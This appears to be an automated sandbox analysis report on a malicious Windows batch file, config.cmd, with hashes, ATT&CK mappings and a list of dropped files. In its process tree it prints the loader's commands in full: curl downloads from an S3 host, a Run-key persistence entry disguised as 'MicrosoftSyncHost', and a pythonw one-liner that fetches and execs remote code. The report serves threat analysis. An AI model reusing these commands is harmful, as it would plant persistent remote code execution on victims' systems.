b9fc40af4c7e9ac1597bb4130b3985467ac90087262349c9bd75f6213d9fba5d

Analysis

max time kernel
148s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
04/08/2026, 18:01

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
config.cmd
Size 1KB
Sample260804-wl6zaabl31
SHA256 b9fc40af4c7e9ac1597bb4130b3985467ac90087262349c9bd75f6213d9fba5d
MD5 e53bf9b2eea1bae426612a8d89c98aed
SHA1 fcb48d9a80405c6f79c3c6ca3f71dba7ccf6c3a4
SHA512 f2b57e3bec1e4bc2eba089596b059040c9ba2a8d78a37bd1bf4d880b537b0c3397f1edd214160098b0f1fa577da05c71c5935d3e2cbdaf3304fa6484f8881796
TLSH
T12D41B185A100F97ED0F43A8907150EA1B247D2A705E0ABE977A114BADC4D7BCA2A7BC5
MD5 SHA1 SHA512 TLSH

Score

8^/10

execution persistence

Malware Config

Signatures

Downloads MZ/PE file 3 IoCs

flow	pid	Process
48	4084	curl.exe
51	4628	curl.exe
55	4728	curl.exe

Executes dropped EXE 1 IoCs

pid	Process
5068	pythonw.exe

Loads dropped DLL 15 IoCs

pid	Process
5068	pythonw.exe
5068	pythonw.exe
5068	pythonw.exe
5068	pythonw.exe
5068	pythonw.exe
5068	pythonw.exe
5068	pythonw.exe
5068	pythonw.exe
5068	pythonw.exe
5068	pythonw.exe
5068	pythonw.exe
5068	pythonw.exe
5068	pythonw.exe
5068	pythonw.exe
5068	pythonw.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MicrosoftSyncHost = "\"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\python-3.13.13-embed-amd64\\pythonw.exe\" -c \"import urllib.request;exec(urllib.request.urlopen('https://jpa-cardiofy-studies-backup.s3.us-east-2.amazonaws.com/config.py').read())\""	reg.exe

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3796	cmd.exe

NTFS ADS 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Microsoft\_p3783.zip:Zone.Identifier	cmd.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
5068	pythonw.exe
5068	pythonw.exe
5068	pythonw.exe
5068	pythonw.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3796 wrote to memory of 2732	3796	cmd.exe	88
PID 3796 wrote to memory of 4084	3796	cmd.exe	101
PID 3796 wrote to memory of 4628	3796	cmd.exe	103
PID 3796 wrote to memory of 4728	3796	cmd.exe	105
PID 3796 wrote to memory of 3304	3796	cmd.exe	107
PID 3796 wrote to memory of 4616	3796	cmd.exe	109
PID 3796 wrote to memory of 3152	3796	cmd.exe	110
PID 3796 wrote to memory of 5068	3796	cmd.exe	111

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\config.cmd"
1⤵
- Executes a command shell one-liner
- NTFS ADS
- Suspicious use of WriteProcessMemory
PID:3796
- C:\Windows\system32\curl.exe
  curl -sLf -o "C:\Users\Admin\AppData\Local\Microsoft\7zip\7za.exe" "https://jpa-cardiofy-studies-backup.s3.us-east-2.amazonaws.com/7za.exe"
  2⤵
  PID:2732
- C:\Windows\system32\curl.exe
  curl -sLfk -o "C:\Users\Admin\AppData\Local\Microsoft\7zip\7za.exe" "https://jpa-cardiofy-studies-backup.s3.us-east-2.amazonaws.com/7za.exe"
  2⤵
  - Downloads MZ/PE file
  PID:4084
- C:\Windows\system32\curl.exe
  curl -sLf -o "C:\Users\Admin\AppData\Local\Microsoft\7zip\7za.dll" "https://jpa-cardiofy-studies-backup.s3.us-east-2.amazonaws.com/7za.dll"
  2⤵
  - Downloads MZ/PE file
  PID:4628
- C:\Windows\system32\curl.exe
  curl -sLf -o "C:\Users\Admin\AppData\Local\Microsoft\7zip\7zxa.dll" "https://jpa-cardiofy-studies-backup.s3.us-east-2.amazonaws.com/7zxa.dll"
  2⤵
  - Downloads MZ/PE file
  PID:4728
- C:\Windows\system32\curl.exe
  curl -sLf -o "C:\Users\Admin\AppData\Local\Microsoft\_p3783.zip" "https://jpa-cardiofy-studies-backup.s3.us-east-2.amazonaws.com/python-3.13.13-embed-amd64.zip"
  2⤵
  PID:3304
- C:\Windows\system32\tar.exe
  tar -xf "C:\Users\Admin\AppData\Local\Microsoft\_p3783.zip" -C "C:\Users\Admin\AppData\Local\Microsoft"
  2⤵
  PID:4616
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "MicrosoftSyncHost" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Microsoft\python-3.13.13-embed-amd64\pythonw.exe\" -c \"import urllib.request;exec(urllib.request.urlopen('https://jpa-cardiofy-studies-backup.s3.us-east-2.amazonaws.com/config.py').read())\"" /f
  2⤵
  - Adds Run key to start application
  PID:3152
- C:\Users\Admin\AppData\Local\Microsoft\python-3.13.13-embed-amd64\pythonw.exe
  "C:\Users\Admin\AppData\Local\Microsoft\python-3.13.13-embed-amd64\pythonw.exe" -c "import urllib.request;exec(urllib.request.urlopen('https://jpa-cardiofy-studies-backup.s3.us-east-2.amazonaws.com/config.py').read())"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious behavior: EnumeratesProcesses
  PID:5068

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

_p3783.zip

Path C:\Users\Admin\AppData\Local\Microsoft\_p3783.zip
Size 10.3MB
SHA256 17b4729890accae106bebd1ddbe170f79d3b6462a17b4c867b16a084b1e25293
MD5 535721269b7dd19c33795163d76c5584
SHA1 9757bee59401407c234309cd8eeade779dc88f98
SHA512 4062c631776bd4a99bebb6e70f99c54e71ab2e710fe0ff954c2c61e99fde6e055e78c9f2c3a5719c40ad9958ca94bd569b9ee3c708f2bbdfa1a8e53324dbdfcf
SSDEEP 196608:GcAAaiE9JKXsYVEvFNyJauHjm/+nHr3BVbvcGxbUB7lDsKG+Gz1hbDdEAJykB:GNiE9JKXyFRuHjmWLRlGIKG9fEAUkB
TLSH
T14CB633AE49F7368FC56FED368E445B6179524388E60607E41EBE03756CC20FD6B2881E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_p3783.zip:Zone.Identifier

Path C:\Users\Admin\AppData\Local\Microsoft\_p3783.zip:Zone.Identifier
Size 2B
SHA256 7eb70257593da06f682a3ddda54a9d260d4fc514f645237f5ca74b08f8da61a6
MD5 81051bcc2cf1bedf378224b0a93e2877
SHA1 ba8ab5a0280b953aa97435ff8946cbcbb2755a27
SHA512 1b302a2f1e624a5fb5ad94ddc4e5f8bfd74d26fa37512d0e5face303d8c40eee0d0ffa3649f5da43f439914d128166cb6c4774a7caa3b174d7535451eb697b5d
MD5 SHA1 SHA512

Submit Download

VCRUNTIME140.dll

Path C:\Users\Admin\AppData\Local\Microsoft\python-3.13.13-embed-amd64\VCRUNTIME140.dll
Size 117KB
SHA256 052ad6a20d375957e82aa6a3c441ea548d89be0981516ca7eb306e063d5027f4
MD5 32da96115c9d783a0769312c0482a62d
SHA1 2ea840a5faa87a2fe8d7e5cb4367f2418077d66b
SHA512 616c78b4a24761d4640ae2377b873f7779322ef7bc26f8de7da0d880b227c577ed6f5ed794fc733468477b2fcdb7916def250e5dc63e79257616f99768419087
SSDEEP 1536:Z9TXF5YXWbj8qr51XlN+dULTCe1IGhKWyxLiyaXYaNxoecbdhUoaLjTz164zEd:ZEnsvReGsWyxLizXFkecbd1aPTzW
TLSH
T10DC38C8572A002FBD16AC274C1A36A17FB75B94487B0A7CF03B58A650F53BE09E3D356
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_bz2.pyd

Path C:\Users\Admin\AppData\Local\Microsoft\python-3.13.13-embed-amd64\_bz2.pyd
Size 84KB
SHA256 1bf985b54f529a3cbb3e52532791cc4d4c64009142d37b54eb3521adec203d5c
MD5 0a18953eb45266704171cbe54c6dd261
SHA1 15f7edd8d0ac559d912d64503fd68f1a8d4c58f7
SHA512 e5f1bef48695b4fae556113a2ccc6ed1e1cf49fa319b94f052705e809eba2543db16fcf955ac9c01de4d81746c90abc85d717004b6b3b1071b27696c6838068b
SSDEEP 1536:QVF5z780RCmmgKRF2OXvLJnmEmdBv8ZEs8iEEx0ZIILVfy7NsR9QfIbHbvTcE:yF5zIjmNAAOfLKdB0ZXjxx0ZIILVdTl
TLSH
T194838E47B76461F6F9AF81B496910353F730BE960710A3AFB24482953F13B91EE6831A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_ctypes.pyd

Path C:\Users\Admin\AppData\Local\Microsoft\python-3.13.13-embed-amd64\_ctypes.pyd
Size 131KB
SHA256 96b07339d52c74f2a1dd043df5eb931e4072eed90a3a8715ffec751d818e4117
MD5 b865b6717d0bb9c909c21997e5e43878
SHA1 6b7bc1d2d8a5fa1816b8c83806c8bda0d766c4f6
SHA512 a1cd8e5e1bc5b5ee78226eb9a3dbc2054ae7ca2cddb592eb287606aae3ade7e76f821b036837aff15675a177938418d8030841b3fab667c0288235b2595abb75
SSDEEP 3072:iuZHKSoKYuYz5sdf/FVzy4PKzblEUS1IIyP7Tv:doR8f/FVzyIKzKUS0v
TLSH
T1F5D38E0B776800AADAA78178C533AF47EFB1B453161057CF02A4C59A2F63B966E7F305
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_hashlib.pyd

Path C:\Users\Admin\AppData\Local\Microsoft\python-3.13.13-embed-amd64\_hashlib.pyd
Size 67KB
SHA256 50f3ce7a2281fd32f378f3ba5067bdd13e18ee95877db5199c6a0babdc9c516a
MD5 7715e3df55b6783704fdda2a3850919e
SHA1 553bf2e027251497c2b40cbec2fade2c5952b5ab
SHA512 f9b4774a34185425b630aabc6be70e5c974d2aa87690044695e9ae33368363321abd2505ace723f7ee1cf04041ff98dba0fb918b3d020419d9db7a66d3af3396
SSDEEP 1536:9qXn1yAu1lEAXfXVfcV5TaSZ6CARIIvIcy7NsR9tfIksk:O1w1uAdfcySZ6CARIIvIVy
TLSH
T1FC637C95AA894092D96382B6C4A34F83F971F35217119BDFA2A8C0CD2F233C39777756
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_lzma.pyd

Path C:\Users\Admin\AppData\Local\Microsoft\python-3.13.13-embed-amd64\_lzma.pyd
Size 155KB
SHA256 51815b6474d4216c6a2aeaffdae5d2ff4acb7a0236254f2cfe43247022f3d781
MD5 8aab96a90295cac7b047fc706a118823
SHA1 e9ce0ae765d65ba9c4d7d3f9cbf61622f5633ca2
SHA512 2a10aeb5783bd1d99dea0200f577bdeb95f36dc328063fb8d3a54fb70e7ac74251f03d424f2ba4fcdd5359f92d6b9106a124403bde6dd154bebfc5c7b7fbf6f7
SSDEEP 3072:mK1fxbqH1ZTffdFj+JnTqznfB9mNohPRHdZII01dkTB:m6Jbq7vsnTc5YOXHdwIB
TLSH
T1DCF34B86B794F0E5F3728C38D6624F57E6F5791A0320929E01CC936D2B1FB659A2E313
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_socket.pyd

Path C:\Users\Admin\AppData\Local\Microsoft\python-3.13.13-embed-amd64\_socket.pyd
Size 84KB
SHA256 8676f3cebd9d01c7ad51a29b3f7ff429c0a8f6bc564cab21eb6cdaa2e26fd259
MD5 62b775fc816033e9df749b5fe77cc921
SHA1 9966268c186c99db7dab32749fd7acb5f0d4c6d0
SHA512 daa1cc564a67c431f3091b1658426cc019088f52d9dec8951c9620b442d6e3f401d37e9778133b63360f8e310e5e7635d676747761d6b5e202538b6a0fd9c0e7
SSDEEP 1536:iFl/fFBFu9aBvtgYKyNEyJwRQlyJ+i+nzFQwLvxtq388Z1IIywDy7NsR9UfIbH7S:iFR1u9mvPEyJwRQlyJL+nzFQSvxSx1I1
TLSH
T10C835B01A66040F6EB73D175C2679E63FB74B1C01395A75F0066C65A2F33382BF7AA86
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_ssl.pyd

Path C:\Users\Admin\AppData\Local\Microsoft\python-3.13.13-embed-amd64\_ssl.pyd
Size 177KB
SHA256 b8118580b461801df12ec12d3d666aa0ebc2b3750bcf92b90b92789b152bf856
MD5 9a4ef2f2b5d0e273eb96c8f4f83fa4db
SHA1 5e03564da19a815b75dd667cdf889d6ac3952ec0
SHA512 bf391ce160ba50cd1fcce3e51c071957d3ab7b1c2d2bc9189ef5331293e8d2fbf66772a5541f78d1bbb7ecfc9e552f48fc3d4066cbfb83a165003533a0ea9d3f
SSDEEP 3072:c3fN4Ub9zRO5RlfU6CAA1UOmI7IM/cbPuC/JZZIIL7Gh:c31/b9zRcTU6CAhOs7O
TLSH
T1C8047C47B6945AF7D813E4F9C2234903EBB0F155331247DE48D6D6490F03B4AAEAAB63
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

libcrypto-3.dll

Path C:\Users\Admin\AppData\Local\Microsoft\python-3.13.13-embed-amd64\libcrypto-3.dll
Size 5.0MB
SHA256 eaf6d613b95b61a39558d84c50e72630a66c99914292df88e7b54ebd60c5bd34
MD5 7e8a8461fcd43c82841a99a2054711f1
SHA1 a931808c56e3a117795491965cb3f679cdc05886
SHA512 023c34e26b7dc7240d4571f8f808bdd0b749bd6e924948c3db9c5bb4f7acf24557d3a94bfe6ff82697f9747b35c13a73b94482dff3568e1dadb8fe08b598bc61
SSDEEP 98304:on+c+4Vp8XhjqO58Pw1CPwDvt3uFlDCQ9p:mPTVpghjqO5841CPwDvt3uFlDCQ/
TLSH
T147367B6AA7A80189E4BAC13CC9534617D2B1F81A57B097CF18A156BD0F37FDA2B3D740
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

libffi-8.dll

Path C:\Users\Admin\AppData\Local\Microsoft\python-3.13.13-embed-amd64\libffi-8.dll
Size 38KB
SHA256 eff52743773eb550fcc6ce3efc37c85724502233b6b002a35496d828bd7b280a
MD5 0f8e4992ca92baaf54cc0b43aaccce21
SHA1 c7300975df267b1d6adcbac0ac93fd7b1ab49bd2
SHA512 6e1b223462dc124279bfca74fd2c66fe18b368ffbca540c84e82e0f5bcbea0e10cc243975574fa95ace437b9d8b03a446ed5ee0c9b1b094147cefaf704dfe978
SSDEEP 768:NiQfxQemQJNrPN+moyijAc5YiSyvkIPxWEqG:dfxIQvPkmoyijP7SytPxF
TLSH
T10B037C0B458418A4E657D53D97A64A2AC335B9240B60F2CB03D4C2BA3F6B7D6FB7C358
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

libssl-3.dll

Path C:\Users\Admin\AppData\Local\Microsoft\python-3.13.13-embed-amd64\libssl-3.dll
Size 776KB
SHA256 cf1a5fdcefa3daf69041f31f98ece1d7911ca4fcb8e9f1043b4d0f459ae4c936
MD5 299335af4f92df8a446d5f98d6e9cfc4
SHA1 75ddcd4863ffde24d22914946ce4e085722dcdbe
SHA512 2da67c01775d71122e6bb951b7e5e7462e8725f79b513551478cd262dae2d97e108427241d13f4fd6ef1d35b739d34fb9c999ca4a6d50271ceda8e0c3dab313c
SSDEEP 12288:8VJ6zW/kDXMeI0niRBRKZk60STGaFc4rldFe9XbC:JDXMeI0iRBRKZN08GaFFe9XbC
TLSH
T1D3F44CADB37C05DDD8B6C17986934623E3B6F4162330EBEB065186790F277D52B3A248
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

python3.dll

Path C:\Users\Admin\AppData\Local\Microsoft\python-3.13.13-embed-amd64\python3.dll
Size 70KB
SHA256 cbc4876275178244905ee45a9ee6ec9fa4bfb9aad6209a03b756d38a186f80d1
MD5 2862d7a3de70a60be154aa7590cfeef5
SHA1 74cee0f36417a8f2ec213c8f0c755a40bbb8a051
SHA512 3fe520a0928b2af4a20e73a7943059573f965eff3ac59f6f03f5a2c4761301dc0ff42c7f87baccb2eaca2ea3bb83d84d81a1e0f0e04a5a2d2a4745b4b30ab7cd
SSDEEP 1536:FotssyKcunV8Po1IIy0Sy7NsR9QWfILQB:+tssyKf1IIy0jXi
TLSH
T1AE634CC25B5BF8A2D6F665FC78DDD9CE242B02CC57258D9FA47893920F1A310A22734D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

python313._pth

Path C:\Users\Admin\AppData\Local\Microsoft\python-3.13.13-embed-amd64\python313._pth
Size 80B
SHA256 35ddf94682ff9aa713a8d63557242ad00f3f28fdd39337f02c3bda4c0f791577
MD5 c23ad35e55e5b1a71ee2e9dd97723749
SHA1 3c5332fcf5e31d3c84fcba3eb722d4c36a1802cf
SHA512 9fd07332911783ff9d534d952eb8cfece7cbeb1934a34da2ab5274d671c38bdbc75e491b3bcac332dd882310c243f389ac6dc7c0eb80e9c0131dff2244e3ad73
TLSH
T140A0220208A30080002020283FC002F88F32330CAB003A0E8BC02E380B00E30ABE202F
MD5 SHA1 SHA512 TLSH

Submit Download

python313.dll

Path C:\Users\Admin\AppData\Local\Microsoft\python-3.13.13-embed-amd64\python313.dll
Size 5.8MB
SHA256 6964e590037c41d631fd1215f05af154f7fa68105993c6f573a20689b473f1ac
MD5 5a7cbaa796ee41e35b5e6bdf4e024e48
SHA1 868b787184e90a277f065d7d0b830772bdd6e52f
SHA512 69dded87aee32562f57c50c5b1a3f99c7f64089226d911751cae314bc451bbd2d3e4a9c9410a532f4fefffcc4687d7c26e609d5aea13b077aefd1070151d5f6f
SSDEEP 98304:aE6YlbgK3Lv6PVN1Wgz52Wv3HDMiE9o1w:aE6M3j6PV/Git1w
TLSH
T1FB568C16729E51ACC97B8078CA13864BFBB27C053F60434B61E6BB5E2F73362466E705
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

python313.zip

Path C:\Users\Admin\AppData\Local\Microsoft\python-3.13.13-embed-amd64\python313.zip
Size 3.6MB
SHA256 02afd3bd7dcda41f7f05f3f81759dbfa4c31ae2d0ced045110817bfd0f0b99c1
MD5 2c4ed1f9ac8c38aea327eefdd7a5cdab
SHA1 4243e4cf0858230aef4dd8e6cac218ed9f1de51e
SHA512 e10933788bfa003fead2a6e273fa8f15fbe296476fec03b2382449f81ad7ec6a71eb9f202a9216d910e389d3cf9a62264864c45cdc61d759724395bdbaaf20e2
SSDEEP 98304:PnBSmG4PNxIyTrLIfpYb8JYT9E9c1sDu/H93CO:v8m3rLeemh9+/HN
TLSH
T1F406331388FE958BDAD7BE33E124DE07A61C83857185514FBD0D52A9AC812F8DB1F43A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

pythonw.exe

Path C:\Users\Admin\AppData\Local\Microsoft\python-3.13.13-embed-amd64\pythonw.exe
Size 101KB
SHA256 e98f517f1fa209c691c57d058e538473c4dedcecacd2e466c3f2bce54fc431f4
MD5 fcafc569f94810624b513814dd1f4cf1
SHA1 f81be0817acb46c1b13a9269c4bacb820b3251b7
SHA512 4955fb286d96adbcc1ab0ffee70a38a16cda846338194d368c458ee48edfca48524a95446cf1fab821b5f0ed332c415fb94b33abcf1f4b05de81258546d6e8c1
SSDEEP 1536:bZuJhIxHHWMpdPa5wiE21M8kJIGFvb1CwP/R0sLy7NsR9HfIbHnvTcwtv:bZCSwMpdCq/IM8uIGfV/R0sATDv
TLSH
T1D3A3F741E62DBDCDE548D4314A75D4F26E24ED317680A51EB7F37F0628312A3FA0A93A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

select.pyd

Path C:\Users\Admin\AppData\Local\Microsoft\python-3.13.13-embed-amd64\select.pyd
Size 32KB
SHA256 ddf1221851814943a82ed8a986d228463404da2ada969661bdd69223f14fc050
MD5 aa8843971de4ca77a14a895da3fa579b
SHA1 95812c71a6dcdbbb1d2fdf8fb0032d00e90f1d44
SHA512 2411886cec792df496846c0119aa9330edf7229eebe73b97145afc722961d41a6433c03420c4d23728bdc047e4efafc332a341b82eba1337e0b4bd2fbc1ae32a
SSDEEP 768:rpX5WHfPLTaP1II9GQhy5RNLaRYT2Ip4MfTxf1ml6Z+7UbFgGHl:dX5W/P/aP1II9Gwy7NsR9GfILEzl
TLSH
T1FEE26CCA5F685047E6A3CA31C6E2DE43F939B3A35611869F30B992991E177C0E337358
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

unicodedata.pyd

Path C:\Users\Admin\AppData\Local\Microsoft\python-3.13.13-embed-amd64\unicodedata.pyd
Size 695KB
SHA256 b965a80346ee95dbec0b147faab329f3276ba24fceb8df5df171367649f116f3
MD5 d5ca99b1befd647ee910150bf751967d
SHA1 331fc08a5f29f5f9ff726db4eaa1a0e9b0b44ba2
SHA512 384c2456febd975399ff66b4ef80531190bcdc9ed5c785158551cc273f9ba002fac1e8a2f5af282ed475d03af27e75f352cd4f0fbe61f19b2ee64f602e013815
SSDEEP 12288:GSYUdLI/X77mvfldCK1ihH32W3cnPSqrUgGgIS:GSYUW7qNxq3cnPXGgJ
TLSH
T1EFE4F5D9BBCF8D26E69B363948E3710F5171C3735F0A863AB2182361D85B3B449D582E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

loader.log

Path C:\Users\Admin\AppData\Local\Temp\loader.log
Size 572B
SHA256 d8307277b3084004980cad22d21a84ce8f8d3046728e1795ee17f74b2ab4f76d
MD5 3471ca89310f029b599b50898807be4e
SHA1 8762ae6def569badb3c5ccfdc968db23bbce8c2f
SHA512 682d1081f0f6dc1047ba89e0c576bc937fa201c66f7bf37a6cfc0e02666da6d4c00b27520bc261fa5b16ae9cdb2a7064a6da4a6b2d29d6fd7e6e549181dbafb3
TLSH
T185F0687905BC03D5CB07450F91362F1B1A43B1287CE5F1276BE9F7351A46AC2E4AB60C
MD5 SHA1 SHA512 TLSH

Submit Download

poly_diag.log

Path C:\Users\Admin\AppData\Local\Temp\poly_diag.log
Size 627B
SHA256 5ec046570ca0f7a214b44ee7d3bdb593e0069c1333d905a3688ed5d7112f5675
MD5 0936a6f55d9772efb984ab06ee15f50e
SHA1 262727fae906234953ef1d7d50d630672c4cee40
SHA512 7397b8e738e52f13fb1f5d24c8118236e77ff830f6cb8a53153ce2f124e363ca58eb10d2584f72a8f88ab0578454f121a48d72a1dd58ed88dca945606a58cb5b
TLSH
T1EBF096651D0234B4D4CAB1FAFA6ABECB13D07D096CE1306D0C81D7A0B777A6C58ED910
MD5 SHA1 SHA512 TLSH

Submit Download

poly_diag.log

Path C:\Users\Admin\AppData\Local\Temp\poly_diag.log
Size 1KB
SHA256 692a433270dcdc03138924b65ca105805eb76b430a3387a1b2ea10fcb4cb94ae
MD5 b12512afc45687cf46e4225feb0c6b0d
SHA1 9d504a518f941455488b59dff6cf357710190492
SHA512 27cf2b189bb5b4a7f9d034511b75d4304199a8e30f24fb4cb3a3baefc0ea44792fb495f640f1fc251bc999ebbcd146e48b8cecb4d657cb5229e24786a01f1d0b
TLSH
T1B63170611D4760B0C6EEB4EBF53AA8C716D83D0C28E026BD88D5A7127BB7A3D84FD110
MD5 SHA1 SHA512 TLSH

Submit Download

memory/5068-138-0x0000022242180000-0x0000022242365000-memory.dmp

Download

memory/5068-132-0x0000022242180000-0x0000022242365000-memory.dmp

Download

memory/5068-118-0x0000022242180000-0x0000022242365000-memory.dmp

Download

memory/5068-140-0x0000022242180000-0x0000022242365000-memory.dmp

Download

memory/5068-93-0x0000022242180000-0x0000022242365000-memory.dmp

Download

memory/5068-136-0x0000022242180000-0x0000022242365000-memory.dmp

Download

memory/5068-134-0x0000022242180000-0x0000022242365000-memory.dmp

Download

memory/5068-97-0x0000022242180000-0x0000022242365000-memory.dmp

Download

memory/5068-130-0x0000022242180000-0x0000022242365000-memory.dmp

Download

memory/5068-128-0x0000022242180000-0x0000022242365000-memory.dmp

Download

memory/5068-126-0x0000022242180000-0x0000022242365000-memory.dmp

Download

memory/5068-76-0x0000022242180000-0x0000022242365000-memory.dmp

Download

memory/5068-124-0x0000022242180000-0x0000022242365000-memory.dmp

Download

memory/5068-120-0x0000022242180000-0x0000022242365000-memory.dmp

Download

memory/5068-116-0x0000022242180000-0x0000022242365000-memory.dmp

Download

memory/5068-122-0x0000022242180000-0x0000022242365000-memory.dmp

Download